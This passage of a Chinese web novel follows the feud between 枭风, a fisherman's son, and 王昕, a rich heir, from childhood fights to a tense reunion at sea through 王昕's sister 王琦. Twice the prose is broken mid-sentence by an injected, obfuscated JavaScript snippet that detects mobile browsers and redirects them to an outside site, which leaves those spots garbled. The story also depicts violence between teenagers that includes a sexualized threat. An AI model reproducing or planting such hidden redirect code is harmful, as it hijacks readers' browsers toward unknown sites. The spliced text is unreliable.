枭风攥紧小拳头,打心底瞧不起这个有脸无脑的傻子,毫不示弱的回击:“你玩赖扬沙子,你还咬我的...” “枭风,快点道歉。”枭爸打断儿子的控诉。 “又是我道歉?” 枭风想不明白,明明是对方先动手,为什么道歉的人还是他。 枭爸捏紧他的胳膊,压着嗓子说:“我不是告诉你,以后不准来这里玩吗?” “王琦叫我来的。” “谁也不行!” 枭爸忽然发怒,这句话的音量超乎寻常。 三个孩子都被震慑住了,尤其是王家兄妹,一下子变得不知所措。 枭风仰头看着父亲,想寻找一个准确的答案。 父亲也死死盯着他。 半晌,他低声说:“王昕,对不起。” “我不要你的对不起!”王昕抹掉眼角的泪痕,气急败坏地拉住妹妹的手,“你等着,我饶不了你!” 说罢,王少爷拉着妹妹离开战场。 枭爸带着枭风走另一个方向,路上,父子俩默默无言。 当‘扬帆’号驶离码头,向东航行数海里后,枭爸在甲板上找到枭风。 “儿子,等你再长大些,爸爸就把这个宝贝送给你。”枭爸拿出一把匕首,笑眯眯地搭话,“这把刀跟着我许多年,从不离身,它的用处可大了,关键时刻能救命。” 枭风接过匕首打量着,抿嘴不语。 枭爸发现儿子脖子上的牙印,微微叹口气:“不要总是打架,打赢了也证明不了什么。” “我做错了,”枭风的语气中带着迷惘,“我不该还手,对吗?” 枭爸张了张嘴,声音有些颤抖:“你没做错,不过...你要向爸爸保证,以后离王老板的儿女远一点,越远越好。” 枭风沉默几秒开口:“王琦是我同学。” “孩子都是好孩子,但是...”枭爸无奈地摇了摇头,“你们不适合做朋友,那个小少爷,他什么都不懂,他不知道自己的一句话会产生什么后果,你记住,惹不起,咱躲得起。” “我知道了,爸爸。”枭风说,“我保证,不再跟他打架。” 枭爸眼里露出欣慰,心里却很担心。 自家小子第二次动了老板的宝贝儿子,不知道这份工作还能不能保住。 出乎意料,王昕和王琦对约架的事守口如瓶。 王昕是这么想的,再找爸爸撑腰实在太丢脸,这种事应该自行解决。 总之,他们的梁子算是结下了。 从那天起,王昕把枭风列在‘仇家’名单上,无论在哪碰见肯定想办法添堵。 枭风则是听从爸爸的警告,远离王家兄妹,虽然他没理解透为什么要这么做,但行动上避而远之。 有几次,王昕朝他竖中指,他都忍了下来。 这种情况一直持续到枭风升中学,王昕的挑衅不仅没收敛,反而愈发猖狂。 那年,枭风十三岁,王昕十五岁。 不知不觉中,他俩的恩怨越累越多,快要接近爆发点。 枭风和王琦一直是同班同学,关系还不错,主要是王琦性格友善,又是班委,经常组织活动,基本的沟通避免不了。 而且枭风越来越懂事,他明白父亲的苦衷,也知道自己真正该躲的人是王昕。 有时候他十分纳闷,同一个娘胎出来的兄妹,差距为什么会这么大。 妹妹的性格有多好,哥哥就有多坏。 暑期的郊游,让两个冤家再次碰头。 枭风很少参加学校组织的活动,听说有登山项目,他破天荒的同意了。 他的加入,在团队里掀起一阵议论。 很多同学认为是王琦的功劳,班里的女同学只有她和枭风走的近,说不定有猫腻。 好巧不巧,一些玩笑话传到了王昕的耳朵里。 这还了得!敌人偷家了! 青少年时期的学生,敏感而多疑,又很青涩单纯。 王昕带领自己的小团伙,以毕业生做示范的借口加入其中。 两辆校园巴士,在晴朗的早晨一起出发。 枭风坐在后排,刚开始是一个人,后来旁边多了一个人。 不是别人,正是专门来找他的王昕。 王少爷的外表一如既往的俊俏又整洁,目光如炬,嘴角挂着浅笑,笑容中充满戒备和挑衅。 “离我妹妹远点,别说我没警告过你。”王昕一边打量枭风,一边放狠话。 他学着电影里的反派,嗓子压低,可惜他的表情不够狠戾,看上去滑稽又调皮,好像一只呲牙的奶猫。 枭风懒得理他,头一扭,面无表情地望向车窗外。 “你聋了?”王昕依旧用那种懒洋洋的调子找茬,“你小子最好照照镜子,癞蛤蟆想吃天鹅肉。” “你妹妹是鹅肉?”枭风冷冷道,“王昕,你别惹我。” “哈!”王昕挑了挑眉毛,“有意思,到底是谁惹谁。” 枭风明显有些不耐烦,看人的眼神越来越内敛、深刻,为朦胧的瞳孔增添神秘的色彩。 每次面对王昕的挑衅,他都会想起父亲的叮嘱。 父亲常说,忍一忍就过去了。 枭风听了父亲的话,却有另一番体会:忍一时风平浪静,退一步越想越气。 他现在就很想照着王昕那张脸狠狠抡拳头,将人压在身底下,凑成亲爸都认不出来的猪头样。 当天下午,一群学生在半山腰露营。 枭风最先支起帐篷,完事后他跟老师请假,随身携带一本植物学字典,一个人前往林子深处静静地研究。 广大无垠的栗树林中,鸟儿在引吭高歌。 他比所有人都熟悉这座山,知道哪里有猎人的设伏点,知道哪里有树洞。 还有一个人,跟了他一路。 他假装什么也不知道,朝前走不回头,直到后面的人发出“哎呦”一声。 王昕的裤子被树枝刮坏,大腿肉被划伤,忍不住惨叫连连。 枭风侧头瞅一眼,没吱声,蹲下来观察灌木丛里的捕兽夹。 “你等等!”王昕忍着痛追上他,“你走那么快干什么,我有话对你说。” 枭风不语,皱眉看着捕兽夹上的血迹。 王昕走到他背后,盯着他的后脑勺抱怨:“遇见你真是倒霉,喂!我问你个问题,你快速回答。” 枭风自言自语:“难道有人来过..” “你在看什么,”王昕好奇,“这是什么东西。” 枭风给面子地回道:“我爸爸放的捕兽夹,上面有血迹,可能有动物经过。” 王昕的大脑宕机两秒才有反应:“残忍,果然是未开化的野蛮人。” 枭风站起身,转头看着王昕,一双眼睛漆黑闪着锐利的光。 又是这种讨人厌的眼神。 王昕的心跳不由加快,警惕地后退半步,嘴上不肯落下风:“我说的不对吗?不过没关系,我听说要出新规定,以后不准镇上的人打猎。” 枭风对此没有表态,扫一眼王昕坏掉的中裤。 王昕脸皮发热,欲盖弥彰地揪住裤子,蛮横道:“看什么啦..” 枭风冷哼:“愚蠢,竟然穿成这样爬山,还敢露腿,丛林里到处是咬人的昆虫,一些荆棘和灌木会擦伤皮肤,而且伤口容易化脓,你要死了。” “.....”王昕嘴巴半阖,半信半疑的模样,“你吓唬鬼呢?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612295|172177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 枭风指指自己的裤子,一脸严肃道:“我常年跟爸爸出海或巡山,这条长裤在你眼里一文不值,但它的布料够结实,能够抵御大力的撕扯,还能保护我这双腿在林子里自由穿梭,至少不会像你一样。” 说着,枭风伸手碰一下王琦露在外面的大腿,示意那里有刮伤。 冰凉的触感,仿佛击中王昕的命门,他像弹簧一样跳起来,条件反射地给了枭风一巴掌,这一下打在了脑门上。 枭风也不客气,反手就是一拳,直接把人干翻在地。 王昕四仰八叉地躺在灌木丛里,伸出一根手指,哆嗦指着上方:“你..你给我等着!” 枭风又给了他一脚。 ... 来自王少爷的报复,在一个月后实施。 新学期,夜黑风高围殴夜。 枭风准时从码头出来,王昕连续踩点好几天,摸清了他的作息。 他每天放学都会到码头帮助父亲装卸海货,然后十点回家准备晚饭。 在这条他走了无数次的小巷,突然被偷袭。 王昕带着几个小兄弟把他围堵,丝毫不讲武德,套上麻袋就是一通乱踢。 几分钟后,罪魁祸首跑的无影无踪。 小巷重归寂静。 枭风拖着一身皮外伤回家,赶在父亲回来之前洗了个澡,换身干净的衣服。 吃晚饭的时候,他脸上的淤青愈发明显,始终保持沉默,其实一种极端的情绪已然在心里蔓延。 接收到父亲疑惑又担心的眼神,枭风只有一句解释:“最后一次。” 这件事过去没几天,枭风从王琦那里收到一个好消息。 王昕和王琦要去国外读书,不知道什么时候能回来。 “你们什么时候走?” “后天早上的飞机。” 枭风表现出事不关己的冷漠神态,瞳孔深处却绽放出异样的光芒。 第二天晚上,也就是王家兄妹离开海滨镇的前夜。 枭风划着小船驶进小海湾,他从棕榈林潜入王家宅院,自从那年他向父亲保证不再招惹王老板的儿女,他就再也没来过这里。 今晚,他打破了约定。 步伐稳健的他像一名将军,目标明确,走过草丛幽径,找到了三层高的白色别墅。 “王昕。” 枭风站在小径路口,叫出那个青年的名字。 王昕正在花园里偷偷看日漫,隐约听到有人叫自己,赶忙把书藏起来。 已是午夜时分,层层乌云后露出皎洁月光,黑暗的树林里,出现一个意想不到的身影,王昕目露惊讶,缓慢地从竹椅里站起身。 他穿着白色的居家服,刚洗完澡,自然卷的栗色头发微微翘起,由于他脸上挂着茫然的神色,不像平时那么嚣张。 枭风打量他,心想:他真像个小王子,夜里会发光。 “来。”枭风招手,目光仿佛激光般直射对方心脏。 王昕鬼使神差地走过去,以为自己在做梦:“你怎么会在..啊唔..” 当他靠近的一瞬间,枭风藏在背后的木棍闪电般击中他的腹部,立马让他失去反抗和尖叫的能力。 枭风不给人喘息的机会,揪住少年的衣领,粗鲁又利落地把人拖进丛林。 “放..放开..”王昕胡乱挣扎着,心中滋味百感交集。 属于少年人独有的自尊心,让他即使心里再害怕,也没想过要大声呼救。 眨眼的功夫,他就被枭风压在底下动弹不得。 枭风见他不老实,又是一拳落在腹部。 王昕疼得气若游丝,从嘴巴里挤出几个字:“滚..你干什么枭..” 枭风隐含讥讽道:“你就像鞋里的小石子,硌得我不舒服。” 只是小石子? 王昕不满意这样的比喻:“怎么样!就是我找人揍你,你不服气是不是,我真后悔没把你打残。” “道歉。”枭风提出要求,“我要你道歉。” “凭什么,你以为你是谁..”王昕鼻头发酸,一手捂住肚子,“枭风,你个大傻逼。” 枭风想起上次自己被扇巴掌的画面,眼神变得狠戾,他的手往下探,伸进王昕的睡裤里,掐住大腿肉使劲地拧两圈。 王昕疼得“嘶嘶”抽气,眼角瞬间泛出泪花:“啊啊松手,好疼..” 枭风态度坚硬:“道歉。” 王昕扛不住了,哽咽着说:“对..对不起。” 从来没有人告诉过王少爷,被人掐大腿里子竟然这么疼。 “大点声,听不见。”枭风冷酷至极,对待手里的细皮嫩肉毫不留情。 “呜呜别..对不起,我错了。” 王昕感觉身心受辱,同时又很害怕,他觉得枭风周围悬浮许多阴影,随时要整死他! “你终于走了,永远都不要回来,王昕。”枭风俯下身子,凑近王昕的脸,一字一顿地说:“见一次,干|你一次。” 王昕的肩膀微微颤抖,晶莹的泪珠从眼眶滚落,像流星划过夜空。 枭风松开手,慢慢起身。 两人的距离刚刚拉开一点,王昕就像从捕兽夹释放的小兽,猛地反咬一口。 他抓住枭风的手腕,隔着衣服咬在肉皮上。 枭风皱起眉头,意外地看着这一幕。 就在这时,花园里传出“窸窣”的脚步声。 王老板在呼唤自己的儿子。 王昕迅速放开枭风的胳膊,抓紧松掉的睡裤,连滚带爬地跑出林子。 枭风摸着深深的咬痕,透过密密匝匝的林子,隐约看见王家父子的身影。 王老板问:“这么晚还不睡,你怎么哭啦?” 王昕低声说:“没哭,做噩梦了。” “梦见什么,吓成这样。” “狼来了..” 5. 第 5 章 黄昏染红了西边的山头,世界笼罩在金色的迷眩中。 汽笛发出吼声,小船像一匹钢铁骏马,斩波劈浪向前冲去。 出海一天,返航了。 枭风坐在驾驶舱,全神贯注地盯着海平面。 确定小船严格地按照行进方式保持航线,他把手从舵轮边缘移开,伸到腰间摸出一把刀子。 这是父亲去世前留给他的,他一直悉心照料,几乎是走哪带到哪,不管穿越丛林还是在海上遨游,每每需要,刀子都不辱使命。 刀子的设计简单,刀柄形状适合手握,配有数片刀刃,其中一片刃部和尖端很锋利,适合切割,还有一片刀刃锯齿状,可以锯削。 初看并无特别之处,在军用刀里很常见,但关键时刻绝不掉链子。 枭风这个人就和他的匕首一样。 他把刀放回原处,视线落在一张名片上。 那是王琦送给他的名片,上面印着港口贸易公司的名称。 枭爸曾经就职于这家公司,后来王老板把港口承包给第三方,拍拍屁股去首府做更大的买卖,小镇的船员们继续跟承包商合作,可以租船,也可以买船,只要每年按时缴费,他们就能在规定时间里出海捕获。 父亲离世后,枭风买下租赁的旧船,继承了船长之职。 距今已过去三年,他砸锅卖铁换了一艘新船。 在他的世界里,四海为家,并不依赖于房屋住宅。 现在唯独缺一件完美的发动机,枭风本想答应王琦的邀请,赚取12.6万的酬劳,可是... 他和王昕又碰上了。 他俩八字不合,见面准没好事。 枭船长犹豫了,盯着洁白的名片若有所思。 ... 第二天,晨光微熹。 王琦打电话联系枭风,想和他见一面。 枭风将手机开免提,一边说话一边收拾乱糟糟的屋子。 “老同学,港口有那么多船长,我只相信你,”王琦的声音通过电话变得颇有磁性,“虽然我们很久没见了,但我知道你一点没变,你是什么样的人我清楚,我是抱着百分百的真心请求你帮忙。” 王琦说了很多话,句句透着真诚。 她给枭风的感觉同样熟悉,她也没怎么变,性格稳重,从小就有组织能力,他俩之间有种革命友谊的惺惺相惜。 这一点从他们读中学时就能体现出来,枭风知晓王琦面临的不公和压力,而王琦很早以前就知道枭风是同性恋。 他被她的诚意打动了,决定忽视那个讨人嫌的哥哥。 “好,”枭风拿起手机说,“王琦,我们见面聊。” “我在西码头等你。” 两人约定,一个小时后见。 王琦挂断电话,嘴角忍不住上翘,正好她想看看枭风作为船长的样子。 稀里糊涂套上一身长袖长裤,她便马不停蹄地出门。 十年前王家搬到绿国首府,豪宅坐落在华人区梧桐别墅,这里是高速发展经济区,几乎成了富家子弟聚集地。 王琦走别墅正门,恰好撞见同样要外出的王昕。 兄妹俩的视线交汇,眼里都闪过一丝惊讶。 “早上好,帅哥。”王琦打量一番哥哥的发型,赞赏地竖起拇指,“气色真好,随便套件衣服都这么帅,不愧是我哥哥。” 王昕翻白眼:“少来,你要去哪里?” 王琦实话实说:“去港口。” “我送你?” “别了,我自己叫辆车。” “你驾照什么时候考,”王昕边说边拉着妹妹的胳膊往前走,“我让司机送你,在你拿到驾驶证之前。” 王琦嫌弃地甩开他的手:“哥,我左右不分啊,还有点色盲,这辈子和驾照无缘,你不用管我,该忙忙你的,若是爸爸问起来,我帮你打掩护。” 说着,她凑近哥哥的下巴,神秘兮兮地眨眼。 王昕拍她的肩膀,“没白疼你。” 她用肩膀撞他的胸口,压低笑声:“今天周六,我知道海港中心有漫画展,你就放心去吧。” “谢了,请你吃糖。” “吃喜糖还差不多。” “那你有的等了。” 兄妹俩边走边聊,一起走到18号住宅的私人车道。 王昕执意让司机送妹妹,她赶着去码头赴约,没有拒绝。 “那你呢?”王琦从车窗里探出头。 司机是王爸爸安排的人,平日里负责接送王昕,顺便监督一下他的行程。 王昕瞄一眼司机,语气随意:“我约了一个客户,等会来接我。” 王琦知道他口中的‘客户’是谁,一定是有共同爱好的漫画创作者。 有些人的存在就是为了打破刻板印象! 她哥高大帅气,站在那一动不动也尽显风流,但爱好与外表不太符合。 王昕没想过成为企业家、电影明星或搏击运动员,他喜欢窝在房间里涂涂画画,梦想成为业界的知名漫画家。 遗憾的是他爹特别雷,明令禁止他开展这项事业。 王琦冲他摆摆手:“哥,你等客户吧,我这边有事儿先走了。” 王昕突然变脸:“喂!你不会去找那个原始人吧。” “别乱给人起外号,”王琦佯装生气,“我找他是为了谈正事,他很重要,你俩小时候的恩怨先放一边。” “你跟我说实话,你是不是看上他了,”王昕有理有据的怀疑,“不然你怎么总惦记去找他,一回来就去海滨镇,还敢一个人跟他上山,你不怕他把你卖了。” “.....” 王琦揉了揉脸颊,深吸口气:“师傅,赶紧开车。” 王昕发表意见:“我不同意。” “不需要你同意。”王琦关上车窗,催促司机开车。 王昕对着车屁股做个打拳的手势,随后嘴边漾出笑容:“注意安全!” “知道啦~” 一串银铃般的笑声从车窗传出,司机把车开远了。 ... 枭风手握舵轮边缘,眼睛扫过指南针,驾驶船在水面上慢慢漂动。 沿着航线前行,如走路一般简单。 他回头瞟了一眼,船的尾迹平直,证明这艘船在海上稳稳画出一条笔直的线。 “把船当成自己的身体,相应地转动舵轮就行。”枭风面向一旁的王琦,开口解释道:“很多实际操作和训练都不一致,尤其是驾驶帆船,运用的规则不同。” “我还没坐过老式帆船呢,”王琦打量着驾驶舱,“都说失之毫厘,谬以千里。枭船长,你相信手册规则,还是更相信自己的感觉呢?” 枭风将眼睛从指南针上移开,稍带愉悦地说:“当然是相信自己,水手不能沉迷GPS的引导,有时候会出现错误的方法,舵轮稍稍转动一点点,整只船就会偏离航道,我习惯看海平线。” “明白,有你在,好像不管去哪里都能安心。” “大海是深不可测的,绝不能小看它。” 王琦好奇地问:“这艘船是你新买的?” “是,”枭风像谈到自己的孩子,深刻的五官变得柔和,“它叫‘逐日号’,延用我爸爸的旧船称,我决定给它换一个马力更强的心脏。” “看来你把这里当家了。”王琦说对了。 枭风领着她走出舱外,到甲板上欣赏自己的‘家’。 逐日号是一艘现代化小船,约12米长,有辊帆,倚靠柴油发动机航行,和其他小船一样,它的构造简单而实用,一个小型主舱,一个前舱和一个驾驶舱,接纳五六个人没问题。 王琦的身子倚靠扶拦,两只手臂分别搭在两侧,抬起脸迎着海风的轻拂:“真好,我都有跳进大海游泳的冲动了。” “你不能站在那里,”枭风提醒道,“姿势不对,你会晕船,还容易晒伤你的脸。” “不会吧,我最近一直在船上做调研,还没晕过呢。” “晕船是晕动,严重会脱水休克。” 枭风掏出随身携带的药,直接抛给王琦,补充道:“以防万一,我们出港口26海里,按照这个速度回去要两个小时。” 王琦调整站姿,吃了一片药:“不知不觉走出这么远,我出门的时候哥哥还说呢,上次一个人跟你进山,这次一个人跟你出海,他怕你把我卖了。” 枭风眼神微沉,破天荒地开玩笑:“换成他,有可能。” 王琦歪着头观察男人的表情变化:“嗳,别说你不记得,你肯定记得我哥,说真的,你俩一直没联系吗?” 枭风疑惑地扬了扬眉:“我俩有联系的必要吗?” 王琦耸肩,“不管怎么说,也算是发小。” 枭风的样子更怪:“你对发小有误解。” “好吧,”王琦一副认输的模样,“不聊以前,说说这次重逢,你觉得我哥这人怎么样。” 真是一个好问题.. 枭风眺望海平面,认真思索几秒:“他给我一种‘意志薄弱的伪君子’印象。” “咳..”王琦差点被口水呛死,“是不是有点夸张,感觉你对我哥有误解,他的性格开朗,喜欢画画,画风超可爱,如果你看过他创作的漫画集,一定会改变印象,这些年他变得越来越好,对谁都挺好的。” “显然,他的好人名 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游轮派出一辆小艇,载着两个人,除了驾驶员,还有一个气质非凡的男人,他身穿漂亮网球装,散发着时尚和金子的味道。 小艇飞速驶来,王琦认出哥哥的模样。 她跑进驾驶舱,无奈又尴尬:“枭风真抱歉,我哥来了,今天的事儿没谈完,我等你电话。” 枭风蹙眉:“为什么说抱歉?” “呃..”王琦吞吐道,“我哥没有坏心思,他是担心我。” 确实没做什么出格的事儿,至于道歉,王琦觉得是态度问题。 她笑得勉强:“上次见面,哥哥如果冒犯到你,我代他向你道歉。” “没关系,”枭风满不在乎,“反正我也不喜欢他。” “.....”王琦的嘴巴抿成一条线,她在枭风眼里看到锐光,证明刚才的话真的不能再真了。 枭风收敛一些锋芒:“他是他,你是你。” “没错!”王琦重露笑容,“是我找你合作,我想你不会反悔吧。” 游轮靠近的某个瞬间,枭风确实产生后悔的念头。 他抗拒王昕,好像是生理反应,想必对方也是如此。 “我是冲你,”他对王琦说,“合作的事我会认真考虑。” “再联络!” 王琦比个胜利的手势。 枭风被她的笑容感染,脸上也浮现淡淡笑意,转身拿了一袋新鲜的海货,细心打包后送给王琦。 “嫌麻烦,你可以不收。”枭风直来直去,心里就是这么想的。 王琦最爱他的性格,接过手提袋:“我要,谢谢。” 对讲机传来声音,两人回到甲板上。 小艇熄火停稳,王昕站直身体,仰头看着妹妹和那个男人,嘴角轻轻抽搐一下。 多年不见还是那副死德行! 从王少爷的低视角看去,枭风格外高大,身穿长袖上衣和姜黄军裤,脑袋扣着无檐帽,是那种黄不黄、绿不绿的颜色,帽子下面是一张犀利的鹰脸,双眼放出半睡半醒的光芒,能像钉子似的钉进人的灵魂。 王昕很想把枭风比作一名乞讨者,可枭风的仪态和漠然表情看起来是那么与众不同。 “哥,看看这是谁,枭风。”王琦抬起两只手,好像在介绍出生入死的战友。 王昕假装什么也没听见:“还不快点下来。” 通过驾驶员的帮助,王琦穿上救生衣,顺利乘坐小艇。 确保两艘船距离安全,枭风启动引擎,加快了航行的速度,朝大海的另一个方向前进。 ‘逐日号’越来越远,最后变成一个黑点。 男人离开的相当决绝。 从始至终,枭风和王昕没说过一句话。 王琦叹息着摇头,视线落在哥哥的脸上,无语道:“有必要开游轮来接我吗?你是不是故意显摆,你真是一点也不了解他。” 相反,她可太了解哥哥的小心思。 平时就不怎么低调,遇见死对头更加猖狂。 王少爷就是想把人比下去,用大游轮吞下小渔船,仿佛可以吞掉枭风的自尊心。 “我怕好白菜被猪啃了,他要看清自己的实力,”王昕去拽妹妹脚边的袋子,“还好我来了,瞧瞧!他又给你塞了什么破东西。” 王琦护住自己的海货,笑着大喊:“好吃的活小鲍!” 王昕脸上浮现刨根问底的神态:“他几个意思,送完兔子送鲍鱼,他想当上门女婿?” 王琦嫌烦地捂耳朵:“要当也不是找我。” “你说什么?” “坐姿不正确,容易晕船。” 6. 第 6 章 太阳西沉,时光匆匆流逝。 海滨镇沿岸水产品交易中心,各种新鲜海货一批接一批地卸货又装载。 熟识的老板拿出一沓现金,交钱时顺便递出烟:“你那发动机还差多少?” 枭风当面点清货款,然后接过烟衔在嘴角:“找到一份活,赚的钱正好能补齐尾款,两周内不能出大海,出小海要等晚上。” “卧槽,两周能拿十万?”老板震惊,帮他点燃了烟,“这活可以啊,再有这好事儿找我。” 枭风点头:“会的。” 一根烟结束,船员们从大市场出来。 同村的小兄弟邀请枭风去森林酒馆小酌几杯,晚上不出船,他答应了。 缺少偷懒的天分,有时间也会闲逸一下。 枭风在镇上特立独行,喜欢一个人独处,性格并不孤僻,如果有朋友找他聚会或帮忙,只要不忙他都给面子。 森林小酒馆,顾名思义。 它隐遁山间的阴凉处,是村中的地下酒馆,门脸特小,正面是小巧的石砌山墙,有两个酿酒的大木桶放两侧做装饰。 酒馆里灯光闪烁,每晚都有村民自带乐器来捧场,听众稀稀落落,舒适的氛围宛若童话故事中的场景。 进去之前,枭风打个电话给王琦。 他站在森林坡上的小平台,摘掉无檐帽,理了理稍长的头发。 ... 城市另一边。 偌大奢华的餐室,王姓一家人在享用精致考究的晚餐。 两声“嗡嗡”震动打破寂静。 王琦拿起手机,看到来电显示嘴角压不住,她对父亲点头示意,随后站起身出去接电话。 王昕从她的微表情中猜到是谁,不禁腹诽,那家伙变着花样勾引妹妹,搞不好真想做上门女婿。 “王昕。” 王道荃叫声儿子,引起对方的注意力:“公司的事儿你多上心,别总不务正业。” [漫画创作是不务正业吗?何况是个拿过奖的创作者!] 王昕在心里反驳,面上笑着附和。 他的态度有点敷衍,惹得父亲不满。 “大学的专业只是爱好,你终究要做继承人,唯一的继承人。”王道荃脸上带着庄严、充满责任的表情,好像一位皇帝再立储君。 王昕赶忙回头看看,确定妹妹听不见,他面露不悦:“爸,你知道我..我..” “你怎么样?”王老板眼睛一瞪,颇有威慑力。 “没有..” 王昕夹起食物塞进嘴里,心底生出一股烦躁。 再这么下去,他有预感要爆发,可每次到临门一脚的时刻,他都缺少一点对抗的勇气。 片刻后,王琦回来了。 她一脸轻松愉悦,枭风的事情已经谈妥。 王道荃观察兄妹俩的神色,清了清嗓子:“王琦,你要尽心尽力帮助你哥哥,他是项目总经理,知道吗?” 王琦像没听见似的,吃一口菜才接话:“啊。” 氛围瞬间变得不对劲,空气犹如凝固。 “爸,你多吃菜,行吗?”王昕心里难受,“这是琦琦出海带回来的小鲍鱼,超级好吃。” 王道荃发觉孩子有忤逆他的迹象,脸色变得很难看:“我不爱吃这东西。” 听闻这话,王昕攥紧拳头,感觉那点对抗的勇气要冲上心头。 他刚想开口理论,一只纤细的手落在他的腿上。 王琦给他一个眼神,安抚了他的情绪。 “我爱吃!”王昕加重音量,将盘子端到跟前,一口气炫了十几头鲍鱼。 枭船长送的那点海货,到最后都进了他的胃里。 -- 晚些时候,别墅一片静谧。 王琦在书房里来回走动,穿着白色睡裙,阳台的夜风吹进来,微微掀起裙角。 她拿着书查找信息,偶尔和员工语音通话,多数时俯看桌上的纸质海图。 王昕在门口看一会儿,眼里闪过心疼,他象征性地敲两下门。 “进。”王琦头也不抬。 王昕走进书房,想安慰妹妹几句,却不知道说什么。 王道荃就是那样的人,传统又迷信,区别对待两个孩子,这么多年一直忽视王琦。 万幸的是,兄妹俩感情极好。 王昕犹豫再三,决定找个轻松的话题:“你跟那个原始人,发展到什么地步了。” 好像也不是很轻松。 提起那个名字,屋里就起了火药味。 王琦心不在焉:“啊?” “你是不是喜欢他。”王昕直接问。 “是是是,我可喜欢他了,”王琦盯着海图,“这里..感觉不够完整。” “不行!”王昕把妹妹的话当真了,“他不适合你,有大姑的前车之鉴,你不能走她的老路。” 王琦的心思扑在项目上,表情相当敷衍。 王昕走到跟前,一巴掌扣住海图,略显激动地劝道:“琦琦,你可要擦亮眼睛,不是非要你找个门当户对,最起码要有文化,原始...枭什么风,他的情况跟前姑父很像,一张薄情又骗钱的脸。” 王琦缓慢地抬头:“王大帅哥,你在说什么啊。” “OK,我直白讲,”王昕开始盘点手上的筹码,“没钱不要紧,你找个帅得也行,我就纳闷了,你看上他哪里,要长相没长相,要个头...好吧,他就身高这么一个优点。”他别开脸,小声嘀咕:“不知道吃了什么,蹿那么猛..” “手拿开,”王琦拍开他碍事的手,指着海图的坐标,“这片区域没有任何标注,空出两天时间,我叫上枭风,咱们一起出海看看。” “?” 王昕瞪大眼睛:“合着我劝半天,你是一个字也没听进去。” “正事要紧,项目马上要落实了。” “这些事情有人做,你要相信科技。” “我相信,但找个专业水手会更踏实。” “反正我不同意他做我妹夫!” “妹夫?”王琦以为自己出现幻听,“亏你说得出口,你的雷达不是挺准吗?” 王昕挑眉:“什么雷达。” 王琦警惕地扫一眼门口,害怕父亲听见,压低声说:“就是扫描一个人的类型。” “我第一眼见到他,就知道他不是好人。” “你都不了解他,各种恶言相向,你这是偏见。” 口说无凭,王琦从抽屉里拿出文件袋,放到桌上说:“我经过走访、调查,整理出一份档案,里面是枭风的个人资料,他的能力有目共睹,而且人缘极好,他比你和我了解绿国的海域和陆地,包括那些所谓的专家,你看过之后再评价。” 王昕毫无兴趣:“我是男人,比你更了解男人。” 王琦朝天翻眼珠:“你可拉倒吧。” 王昕又道:“何况档案说明不了什么,谁知道他是不是买通别人为他说好话。” “这种事你能做得出来,他才没那么闲,至于我为什么信任他...” 王琦声音变低,思绪一下子飘回十年前—— 那是个夏日,王琦回绿国看望生病的姑姑,她在码头偶遇枭风。 他俩十五岁,正是情窦初开的年纪,虽然留给他们叙旧的时间有限,但聊了很多。 王琦喜欢开玩笑,问枭风有没有女朋友。 枭风回答的很认真:“没有,我应该喜欢同性,不确定,要再过几年才能证明。” 他说话时眼神清澄如镜,身上散发着一种浑然天成的坦荡气息,毫不在意外人对这件事的看法。 王琦对那一幕印象深刻,她知道枭风和他们不一样。 她欣赏他,同时也羡慕。 “我说喜欢同性,你会觉得奇怪吗?” “不,我哥可能也...” 咚咚咚! 连续敲桌的响声,打断回忆的思绪。 王昕把脸凑近妹妹,满腹狐疑地问:“跟我聊天开小差,你在想他?” 王琦点头,她确实在想枭风。 “他不求名利,只想游走在山林与海洋之间,他所追求的不是算计和买卖,而是心中净地,他在我心里是一个智者。”王琦给予了至高评价,并用诚挚的目光盯住哥哥,“你说的没错,我确实喜欢他,你俩看似千差万别,其实本质相同,都是纯粹的人,我想把你介绍给他。” 哥哥呆住,心碎了,天塌了。 王昕的俊脸涨得通红:“你们已经发展到见家长的地步了?” “.....”王琦在胸口比个十字,“无效沟通。” “我不同意,”王昕发出小猪一样的哼哼,“你离他远点,不行不行..” 王琦开始做眼部保健操,摁着眉心说:“我怀疑咱俩认识的不是一个人,你对他恶评 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612297|172177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如潮,可别说小时候打架的原因,那真是太幼稚了。” 刹那间,王昕变了脸。 他的脑海里闪回十几年前的画面,他被枭风拖进小树林,遭遇对方疯狂的‘蹂躏’,天知道他有多后悔当时没表现的勇猛一点。 这个仇记一辈子! 他的语调深沉:“我就是不喜欢他,讨厌一个人不需要理由。” -- 太阳无视这些琐事,依旧东升。 两天后的早晨,林间小苑的铁大门被敲响。 枭风卖房之前在镇中心生活,邻居是一对心肠好的夫妻,他们视枭风如亲弟弟,就算他搬离镇子来往依旧亲密。 大嫂赶早登门,带来一个好消息:“当回媒人,给你介绍对象。” 枭风用冷水洗漱,嘴里含着把牙刷:“唔..谁啊。” “你前天晚上是不是去小酒馆喝酒了?”大嫂走到他身后,神秘兮兮地问,“弹吉他的小伙记得吗?” “记得。”枭风认人很准,而且不屑装假。 嫂子眼睛放亮:“印象好吗?” 枭风回忆一下那个人的长相——高个子,清瘦,一双爱笑的眼睛。 他微微点头:“挺好的。” 嫂子抓住他的胳膊,脸上浮现遇到超市打折的表情:“他是村长的独生子,平时研究花花草草,喜欢音乐,怎么说来着,属于文艺青年,你俩很般配,你去看看吧。” “好啊。”枭风对村长儿子印象不错,不排斥相亲。 